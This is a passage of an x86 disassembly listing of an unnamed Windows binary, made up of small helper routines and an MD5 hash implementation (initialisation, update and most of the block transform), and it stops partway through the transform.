loc_433570:				; CODE XREF: ___:00401244j
		push	esi
		mov	esi, [esp+8]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43359C
		mov	eax, [esi+20h]
		mov	ecx, 1
		cmp	eax, ecx
		jnz	short loc_433597
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433597:				; CODE XREF: ___:0043358Ej
		xor	eax, eax
		mov	[esi+20h], ecx


loc_43359C:				; CODE XREF: ___:00433582j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4335B0	proc near		; CODE XREF: sub_40175Dj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401758
		add	esp, 8
		test	eax, eax
		jnz	short loc_43363C
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4335D4
		mov	eax, 2
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335D4:				; CODE XREF: sub_4335B0+1Bj
		push	edi
		push	esi
		push	eax
		call	sub_401A50
		add	esp, 8
		test	eax, eax
		jz	short loc_4335ED
		mov	edi, 24h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335ED:				; CODE XREF: sub_4335B0+31j
		cmp	dword ptr [esi+20h], 1
		jnz	short loc_4335FD
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4335FD:				; CODE XREF: sub_4335B0+41j
		mov	eax, [esi+4]
		push	eax
		call	sub_401640
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 8504C483h, 8B2575FFh, 85102444h, 8B0F74C0h, 5150044Eh
		dd 0D422E890h, 0C0850246h, 0E8560E74h, 0FFFCE181h, 8B04C483h
		dd 0C35E5FC7h, 3BFh, 5FC78B00h
; ---------------------------------------------------------------------------


loc_43363C:				; CODE XREF: sub_4335B0+12j
		pop	esi
		retn
sub_4335B0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433670	proc near		; CODE XREF: sub_4015FFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	10h
		push	1
		xor	edi, edi
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_433695
		mov	ecx, [esp+8+arg_0]
		pop	edi
		mov	eax, 0Ch
		mov	[ecx], esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433695:				; CODE XREF: sub_433670+15j
		nop
		call	near ptr 28A06A8h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jnz	short loc_4336BE
		push	esi
		mov	edi, 0Bh
		nop
		call	near ptr 77C2C21Bh
		mov	edx, [esp+0Ch+arg_0]
		add	esp, 4
		xor	eax, eax
		mov	[edx], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336BE:				; CODE XREF: sub_433670+30j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_4336DB
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	dword ptr [esi+8], 0FFFFFFFFh
		mov	[eax], esi
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4336DB:				; CODE XREF: sub_433670+54j
		mov	ecx, [esp+8+arg_0]
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	esi
		retn
sub_433670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433710	proc near		; CODE XREF: sub_401AA0j

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		xor	ebp, ebp
		cmp	ebx, ebp
		jz	loc_4337A0
		cmp	[ebx+0Ch], ebp
		jz	short loc_43377C
		cmp	[ebx+4], ebp
		jz	short loc_43377C
		lea	eax, [ebx+8]
		push	eax
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43377C
		push	esi
		mov	esi, [ebx+0Ch]
		cmp	esi, ebp
		jz	short loc_43376F
		push	edi


loc_433743:				; CODE XREF: sub_433710+5Cj
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43376A
		mov	edi, [esi+10h]
		push	esi
		mov	[esi+8], ebp
		mov	[esi+10h], ebp
		call	sub_4010C3
		push	esi
		call	sub_40105F
		add	esp, 8
		mov	esi, edi


loc_43376A:				; CODE XREF: sub_433710+3Ej
		cmp	esi, ebp
		jnz	short loc_433743
		pop	edi


loc_43376F:				; CODE XREF: sub_433710+30j
		lea	eax, [ebx+8]
		push	eax
		call	sub_4010C3
		add	esp, 4
		pop	esi


loc_43377C:				; CODE XREF: sub_433710+13j
					; sub_433710+18j ...
		mov	eax, [ebx]
		push	eax
		nop
		call	near ptr 28A0000h
		cmp	[ebx+4], ebp
		jz	short loc_433796
		lea	ecx, [ebx+8]
		push	ecx
		call	sub_40222F
		add	esp, 4


loc_433796:				; CODE XREF: sub_433710+78j
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4337A0:				; CODE XREF: sub_433710+Aj
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
sub_433710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4337E0	proc near		; CODE XREF: sub_4020DBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_50E3D8
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		cmp	esi, eax
		jz	short loc_433804
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_433813
		pop	esi
		mov	eax, 2
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433804:				; CODE XREF: sub_4337E0+11j
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_433813
		mov	eax, ebx


loc_433813:				; CODE XREF: sub_4337E0+1Aj
					; sub_4337E0+2Fj
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_433875
		test	eax, eax
		jz	short loc_433862
		mov	ecx, [esi+4]
		test	ecx, ecx
		jz	short loc_433862
		test	ebx, ebx
		jz	short loc_433862
		mov	ecx, [eax+80h]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jz	short loc_43384D


loc_433837:				; CODE XREF: sub_4337E0+65j
		cmp	[ecx+8], esi
		jz	short loc_433849
		mov	ecx, [ecx+0Ch]
		test	ecx, ecx
		mov	[esp+0Ch+arg_0], ecx
		jnz	short loc_433837
		jmp	short loc_43384D
; ---------------------------------------------------------------------------


loc_433849:				; CODE XREF: sub_4337E0+5Aj
		test	ecx, ecx
		jnz	short loc_433862


loc_43384D:				; CODE XREF: sub_4337E0+55j
					; sub_4337E0+67j
		push	esi
		push	eax
		lea	eax, [esp+14h+arg_0]
		push	eax
		call	sub_401DC5
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_433875


loc_433862:				; CODE XREF: sub_4337E0+3Cj
					; sub_4337E0+43j ...
		mov	ecx, [esi]
		push	ebx
		push	ecx
		nop
		call	near ptr 28C0000h
		test	eax, eax
		jnz	short loc_433875
		mov	edi, 0Bh


loc_433875:				; CODE XREF: sub_4337E0+38j
					; sub_4337E0+80j ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4337E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4338B0	proc near		; CODE XREF: sub_401190j
		push	ebx
		push	esi
		push	edi
		call	near ptr 2930847h
		nop
		mov	esi, eax
		call	sub_436F5A
sub_4338B0	endp

; ---------------------------------------------------------------------------
		dd 448BF88Bh, 88B1024h,	62E89051h, 560245D2h, 0E890D88Bh
		dd 245D47Ah, 36C4E857h,	8B5F0000h, 0C35B5EC3h, 3 dup(90909090h)
		dd 4 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_433900	proc near		; CODE XREF: sub_401A55j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax+10h], ecx
		mov	dword ptr [eax], 67452301h
		mov	dword ptr [eax+4], 0EFCDAB89h
		mov	dword ptr [eax+8], 98BADCFEh
		mov	dword ptr [eax+0Ch], 10325476h
		retn
sub_433900	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433940	proc near		; CODE XREF: sub_401C12j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		push	edi
		mov	edi, [esp+10h+arg_8]
		mov	ecx, [esi+10h]
		mov	eax, ecx
		lea	edx, ds:0[edi*8]
		shr	eax, 3
		lea	ecx, [ecx+edi*8]
		and	eax, 3Fh
		cmp	ecx, edx
		mov	[esi+10h], ecx
		jnb	short loc_43396B
		inc	dword ptr [esi+14h]


loc_43396B:				; CODE XREF: sub_433940+26j
		mov	ebx, [esi+14h]
		mov	ecx, edi
		shr	ecx, 1Dh
		add	ebx, ecx
		mov	[esi+14h], ebx
		mov	ebx, 40h
		sub	ebx, eax
		cmp	edi, ebx
		jb	short loc_4339C9
		mov	edx, [esp+10h+arg_4]
		push	ebx
		lea	eax, [eax+esi+18h]
		push	edx
		push	eax
		call	sub_434740
		lea	ecx, [esi+18h]
		push	ecx
		push	esi
		call	sub_433AB0
		mov	ebp, ebx
		add	ebx, 3Fh
		add	esp, 14h
		cmp	ebx, edi
		jnb	short loc_4339C5


loc_4339A9:				; CODE XREF: sub_433940+83j
		mov	edx, [esp+10h+arg_4]
		lea	eax, [edx+ebx-3Fh]
		push	eax
		push	esi
		call	sub_433AB0
		add	ebx, 40h
		add	esp, 8
		add	ebp, 40h
		cmp	ebx, edi
		jb	short loc_4339A9


loc_4339C5:				; CODE XREF: sub_433940+67j
		xor	eax, eax
		jmp	short loc_4339CB
; ---------------------------------------------------------------------------


loc_4339C9:				; CODE XREF: sub_433940+41j
		xor	ebp, ebp


loc_4339CB:				; CODE XREF: sub_433940+87j
		mov	ecx, [esp+10h+arg_4]
		sub	edi, ebp
		add	ebp, ecx
		push	edi
		lea	edx, [eax+esi+18h]
		push	ebp
		push	edx
		call	sub_434740
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_433940	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433A20	proc near		; CODE XREF: sub_402158j

var_8		= byte ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		lea	eax, [esp+8+var_8]
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_4]
		push	8
		lea	esi, [edi+10h]
		push	esi
		push	eax
		call	sub_434660
		mov	eax, [esi]
		add	esp, 0Ch
		shr	eax, 3
		and	eax, 3Fh
		mov	ecx, 38h
		cmp	eax, 38h
		jb	short loc_433A53
		mov	ecx, 78h


loc_433A53:				; CODE XREF: sub_433A20+2Cj
		sub	ecx, eax
		push	ecx
		push	offset aA_0	; "€"
		push	edi
		call	sub_401C12
		lea	ecx, [esp+1Ch+var_8]
		push	8
		push	ecx
		push	edi
		call	sub_401C12
		mov	edx, [esp+28h+arg_0]
		push	10h
		push	edi
		push	edx
		call	sub_434660
		push	58h
		push	0
		push	edi
		call	sub_434770
		add	esp, 30h
		pop	edi
		pop	esi
		add	esp, 8
		retn
sub_433A20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433AB0	proc near		; CODE XREF: sub_433940+58p
					; sub_433940+73p

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 40h
		mov	ecx, [esp+40h+arg_4]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+4Ch+arg_0]
		push	edi
		push	40h
		lea	edx, [esp+54h+var_40]
		mov	eax, [esi]
		mov	edi, [esi+4]
		mov	ebx, [esi+8]
		mov	ebp, [esi+0Ch]
		push	ecx
		push	edx
		mov	[esp+5Ch+arg_0], eax
		call	sub_4346D0
		mov	eax, edi
		mov	edx, [esp+5Ch+arg_0]
		not	eax
		mov	ecx, ebx
		and	eax, ebp
		and	ecx, edi
		or	eax, ecx
		mov	ecx, [esp+5Ch+var_40]
		add	eax, ecx
		lea	ecx, [edx+eax-28955B88h]
		mov	edx, edi
		mov	eax, ecx
		shr	eax, 19h
		shl	ecx, 7
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	edx, eax
		not	ecx
		and	ecx, ebx
		or	ecx, edx
		mov	edx, [esp+5Ch+var_3C]
		add	ecx, edx
		lea	edx, [ecx+ebp-173848AAh]
		mov	ecx, edx
		shr	ecx, 14h
		shl	edx, 0Ch
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		mov	ebp, ecx
		not	edx
		and	edx, edi
		and	ebp, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, ecx
		lea	ebx, [ebx+edx+242070DBh]
		mov	edx, ebx
		shr	edx, 0Fh
		shl	ebx, 11h
		or	edx, ebx
		add	edx, ecx
		mov	ebx, edx
		and	ebp, edx
		not	ebx
		and	ebx, eax
		or	ebx, ebp
		mov	ebp, [esp+5Ch+var_34]
		add	ebx, ebp
		lea	ebx, [edi+ebx-3E423112h]
		mov	edi, ebx
		shl	edi, 16h
		shr	ebx, 0Ah
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_30]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	eax, [eax+edi-0A83F051h]
		mov	edi, eax
		shr	edi, 19h
		shl	eax, 7
		or	edi, eax
		add	edi, ebx
		mov	eax, edi
		and	ebp, edi
		not	eax
		and	eax, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_2C]
		add	eax, ebp
		lea	ecx, [ecx+eax+4787C62Ah]
		mov	eax, ecx
		shr	eax, 14h
		shl	ecx, 0Ch
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		mov	ebp, eax
		not	ecx
		and	ecx, ebx
		and	ebp, edi
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, eax
		lea	edx, [edx+ecx-57CFB9EDh]
		mov	ecx, edx
		shr	ecx, 0Fh
		shl	edx, 11h
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, edi
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_24]
		add	edx, ebp
		lea	ebx, [ebx+edx-2B96AFFh]
		mov	edx, ebx
		shl	edx, 16h
		shr	ebx, 0Ah
		or	edx, ebx
		mov	ebx, ecx
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edi, [edi+edx+698098D8h]
		mov	edx, edi
		shr	edx, 19h
		shl	edi, 7
		or	edx, edi
		add	edx, ebx
		mov	edi, edx
		and	ebp, edx
		not	edi
		and	edi, ecx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	edi, ebp
		lea	eax, [eax+edi-74BB0851h]
		mov	edi, eax
		shr	edi, 14h
		shl	eax, 0Ch
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		not	eax
		mov	ebp, edi
		and	eax, ebx
		and	ebp, edx
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, edi
		lea	ecx, [ecx+eax-0A44Fh]
		mov	eax, ecx
		shr	eax, 0Fh
		shl	ecx, 11h
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ebp, eax
		not	ecx
		and	ecx, edx
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		add	ecx, ebp
		lea	ebx, [ebx+ecx-76A32842h]
		mov	ecx, ebx
		shl	ecx, 16h
		shr	ebx, 0Ah
		or	ecx, ebx
		mov	ebx, eax
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, edi
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_10]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ebx
		lea	edx, [edx+ecx+6B901122h]
		mov	ecx, edx
		shr	ecx, 19h
		shl	edx, 7
		or	ecx, edx
		add	ecx, ebx
		mov	edx, ecx
		and	ebp, ecx
		not	edx
		and	edx, eax
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	edx, ebp
		lea	edi, [edi+edx-2678E6Dh]
		mov	edx, edi
		shr	edx, 14h
		shl	edi, 0Ch
		or	edx, edi
		add	edx, ecx
		mov	ebp, edx
		mov	edi, edx
		not	ebp
		and	edi, ecx
		and	ebx, ebp
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_8]
		add	edi, ebx
		mov	ebx, edx
		lea	eax, [eax+edi-5986BC72h]
		mov	edi, eax
		shr	edi, 0Fh
		shl	eax, 11h
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	ebx, edi
		not	eax
		mov	[esp+5Ch+arg_4], eax
		and	eax, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_4]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax+49B40821h]
		mov	eax, ebx
		shl	eax, 16h
		shr	ebx, 0Ah
		or	eax, ebx
		mov	ebx, edx
		add	eax, edi
		mov	[esp+5Ch+arg_0], eax
		and	ebx, eax
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_3C]
		or	ebx, eax
		add	ebx, ebp
		mov	ebp, edi
		lea	ecx, [ecx+ebx-9E1DA9Eh]
		mov	ebx, [esp+5Ch+arg_0]
		mov	eax, ecx
		shr	eax, 1Bh
		shl	ecx, 5
		or	eax, ecx
		mov	ecx, [esp+5Ch+arg_4]
		add	eax, ebx
		and	ecx, ebx
		and	ebp, eax
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_28]
		add	ecx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edx, [edx+ecx-3FBF4CC0h]
		and	ebx, eax
		mov	ecx, edx
		shr	ecx, 17h
		shl	edx, 9
		or	ecx, edx
		add	ecx, eax
		mov	edx, ecx
		and	edx, ebp
		mov	ebp, [esp+5Ch+var_14]
		or	ebx, edx
		add	ebx, ebp
		lea	edi, [edi+ebx+265E5A51h]
		mov	edx, edi
		shr	edx, 12h
		shl	edi, 0Eh
		or	edx, edi
		mov	edi, eax
		add	edx, ecx
		not	edi
		mov	ebx, edx
		and	edi, ecx
		and	ebx, eax
		or	edi, ebx
		mov	ebx, [esp+5Ch+var_40]
		add	edi, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edi-16493856h]
		mov	edi, ebx
		shl	edi, 14h
		shr	ebx, 0Ch
		or	edi, ebx
		mov	ebx, ecx
		add	edi, edx
		mov	[esp+5Ch+arg_0], edi
		mov	edi, ecx
		mov	ebp, [esp+5Ch+arg_0]
		not	edi
		and	edi, edx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_2C]
		or	edi, ebx
		add	edi, ebp
		mov	ebx, [esp+5Ch+arg_0]
		lea	eax, [eax+edi-29D0EFA3h]
		mov	edi, eax
		shr	edi, 1Bh
		shl	eax, 5
		or	edi, eax
		mov	eax, edx
		add	edi, ebx
		not	eax
		mov	ebp, edx
		and	eax, ebx
		and	ebp, edi
		or	eax, ebp
		mov	ebp, [esp+5Ch+var_18]
		add	eax, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	ecx, [ecx+eax+2441453h]
		and	ebx, edi
		mov	eax, ecx
		shr	eax, 17h
		shl	ecx, 9
		or	eax, ecx
		add	eax, edi
		mov	ecx, eax
		and	ecx, ebp
		mov	ebp, [esp+5Ch+var_4]
		or	ebx, ecx
		add	ebx, ebp
		lea	edx, [edx+ebx-275E197Fh]
		mov	ecx, edx
		shr	ecx, 12h
		shl	edx, 0Eh
		or	ecx, edx
		mov	edx, edi
		add	ecx, eax
		not	edx
		mov	ebx, ecx
		and	edx, eax
		and	ebx, edi
		or	edx, ebx
		mov	ebx, [esp+5Ch+var_30]
		add	edx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+edx-182C0438h]
		mov	edx, ebx
		shl	edx, 14h
		shr	ebx, 0Ch
		or	edx, ebx
		mov	ebx, eax
		add	edx, ecx
		mov	[esp+5Ch+arg_0], edx
		mov	edx, eax
		mov	ebp, [esp+5Ch+arg_0]
		not	edx
		and	edx, ecx
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		or	edx, ebx
		add	edx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, ecx
		lea	edi, [edi+edx+21E1CDE6h]
		mov	edx, edi
		shr	edx, 1Bh
		shl	edi, 5
		or	edx, edi
		mov	edi, ecx
		add	edx, ebx
		not	edi
		and	edi, ebx
		and	ebp, edx
		or	edi, ebp
		mov	ebp, [esp+5Ch+var_8]
		add	edi, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	eax, [eax+edi-3CC8F82Ah]
		and	ebx, edx
		mov	edi, eax
		shr	edi, 17h
		shl	eax, 9
		or	edi, eax
		add	edi, edx
		mov	eax, edi
		and	eax, ebp
		mov	ebp, [esp+5Ch+var_34]
		or	ebx, eax
		add	ebx, ebp
		lea	ecx, [ecx+ebx-0B2AF279h]
		mov	eax, ecx
		shr	eax, 12h
		shl	ecx, 0Eh
		or	eax, ecx
		mov	ecx, edx
		add	eax, edi
		not	ecx
		mov	ebx, eax
		and	ecx, edi
		and	ebx, edx
		or	ecx, ebx
		mov	ebx, [esp+5Ch+var_20]
		add	ecx, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+ecx+455A14EDh]
		mov	ecx, ebx
		shl	ecx, 14h
		shr	ebx, 0Ch
		or	ecx, ebx
		mov	ebx, edi
		add	ecx, eax
		mov	[esp+5Ch+arg_0], ecx
		mov	ecx, edi
		mov	ebp, [esp+5Ch+arg_0]
		not	ecx
		and	ecx, eax
		and	ebx, ebp
		mov	ebp, [esp+5Ch+var_C]
		or	ecx, ebx
		add	ecx, ebp
		mov	ebx, [esp+5Ch+arg_0]
		mov	ebp, eax
		lea	edx, [edx+ecx-561C16FBh]
		mov	ecx, edx
		shr	ecx, 1Bh
		shl	edx, 5
		or	ecx, edx
		mov	edx, eax
		add	ecx, ebx
		not	edx
		and	edx, ebx
		and	ebp, ecx
		or	edx, ebp
		mov	ebp, [esp+5Ch+var_38]
		add	edx, ebp
		mov	ebp, [esp+5Ch+arg_0]
		not	ebx
		lea	edi, [edi+edx-3105C08h]
		and	ebx, ecx
		mov	edx, edi
		shr	edx, 17h
		shl	edi, 9
		or	edx, edi
		add	edx, ecx
		mov	edi, edx
		and	edi, ebp
		mov	ebp, [esp+5Ch+var_24]
		or	ebx, edi
		add	ebx, ebp
		lea	eax, [eax+ebx+676F02D9h]
		mov	edi, eax
		shr	edi, 12h
		shl	eax, 0Eh
		or	edi, eax
		mov	eax, ecx
		add	edi, edx
		not	eax
		mov	ebx, edi
		and	eax, edx
		and	ebx, ecx
		or	eax, ebx
		mov	ebx, [esp+5Ch+var_10]
		add	eax, ebx
		mov	ebx, [esp+5Ch+arg_0]
		lea	ebx, [ebx+eax-72D5B376h]
		mov	eax, ebx
		shl	eax, 14h
		shr	ebx, 0Ch
		or	eax, ebx
		add	eax, edi
		mov	ebp, [esp+5Ch+var_2C]
		mov	ebx, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_20]
		lea	ecx, [ecx+ebx-5C6BEh]
		mov	ebx, ecx
		shr	ebx, 1Ch
		shl	ecx, 4
		or	ebx, ecx
		mov	ecx, edi
		add	ebx, eax
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_14]
		lea	ecx, [edx+ecx-788E097Fh]
		mov	edx, ecx
		shr	edx, 15h
		shl	ecx, 0Bh
		or	edx, ecx
		add	edx, ebx
		mov	ecx, edx
		xor	ecx, eax
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_8]
		lea	ecx, [edi+ecx+6D9D6122h]
		mov	edi, ecx
		shr	edi, 10h
		shl	ecx, 10h
		or	edi, ecx
		mov	ecx, edx
		add	edi, edx
		xor	ecx, edi
		mov	[esp+5Ch+arg_0], ecx
		xor	ecx, ebx
		add	ecx, ebp
		mov	ebp, [esp+5Ch+var_3C]
		lea	eax, [eax+ecx-21AC7F4h]
		mov	ecx, eax
		shl	ecx, 17h
		shr	eax, 9
		or	ecx, eax
		mov	eax, [esp+5Ch+arg_0]
		add	ecx, edi
		xor	eax, ecx
		add	eax, ebp
		mov	ebp, [esp+5Ch+var_30]
		lea	ebx, [ebx+eax-5B4115BCh]
		mov	eax, ebx
		shr	eax, 1Ch
		shl	ebx, 4
		or	eax, ebx
		mov	ebx, edi
		add	eax, ecx
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		mov	ebp, [esp+5Ch+var_24]
		lea	edx, [edx+ebx+4BDECFA9h]
		mov	ebx, edx
		shr	ebx, 15h
		shl	edx, 0Bh
		or	ebx, edx
		add	ebx, eax
		mov	edx, ebx
		xor	edx, ecx
		xor	edx, eax
		add	edx, ebp
		lea	edi, [edi+edx-944B4A0h]
		mov	edx, edi
		shr	edx, 10h
		shl	edi, 10h
		or	edx, edi
		mov	edi, ebx
		add	edx, ebx
		xor	edi, edx
		mov	ebp, edi
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_18]
		lea	ebp, [ecx+ebp-41404390h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_C]
		add	ecx, edx
		xor	edi, ecx
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_40]
		lea	edi, [eax+edi+289B7EC6h]
		mov	eax, edi
		shr	eax, 1Ch
		shl	edi, 4
		or	eax, edi
		mov	edi, edx
		add	eax, ecx
		xor	edi, ecx
		xor	edi, eax
		add	edi, ebp
		mov	ebp, [esp+5Ch+var_34]
		lea	ebx, [ebx+edi-155ED806h]
		mov	edi, ebx
		shr	edi, 15h
		shl	ebx, 0Bh
		or	edi, ebx
		add	edi, eax
		mov	ebx, edi
		xor	ebx, ecx
		xor	ebx, eax
		add	ebx, ebp
		lea	edx, [edx+ebx-2B10CF7Bh]
		mov	ebx, edx
		shr	ebx, 10h
		shl	edx, 10h
		or	ebx, edx
		mov	edx, edi
		add	ebx, edi
		xor	edx, ebx
		mov	ebp, edx
		xor	ebp, eax
		add	ebp, [esp+5Ch+var_28]
		lea	ebp, [ecx+ebp+4881D05h]
		mov	ecx, ebp
		shl	ecx, 17h
		shr	ebp, 9
		or	ecx, ebp
		mov	ebp, [esp+5Ch+var_1C]
		add	ecx, ebx
		xor	edx, ecx
		add	edx, ebp
		lea	edx, [eax+edx-262B2FC7h]
		mov	eax, edx
		shr	eax, 1Ch
		shl	edx, 4
		or	eax, edx
		mov	edx, ebx
		add	eax, ecx
		xor	edx, ecx
		xor	edx, eax
		add	edx, [esp+5Ch+var_10]
		lea	edi, [edi+edx-1924661Bh]
		mov	edx, edi
		shr	edx, 15h
		shl	edi, 0Bh
		or	edx, edi
		add	edx, eax
		mov	edi, edx
		xor	edi, ecx
		xor	edi, eax
		add	edi, [esp+5Ch+var_4]
		lea	ebx, [ebx+edi+1FA27CF8h]
		mov	edi, ebx
		shr	edi, 10h
		shl	ebx, 10h
		or	edi, ebx
		mov	ebx, edx
		add	edi, edx
		xor	ebx, edi
		xor	ebx, eax
		add	ebx, [esp+5Ch+var_38]
		lea	ecx, [ecx+ebx-3B53A99Bh]
		mov	ebx, ecx
		shl	ebx, 17h
		shr	ecx, 9
		or	ebx, ecx
		mov	ecx, edx
		add	ebx, edi
		not	ecx
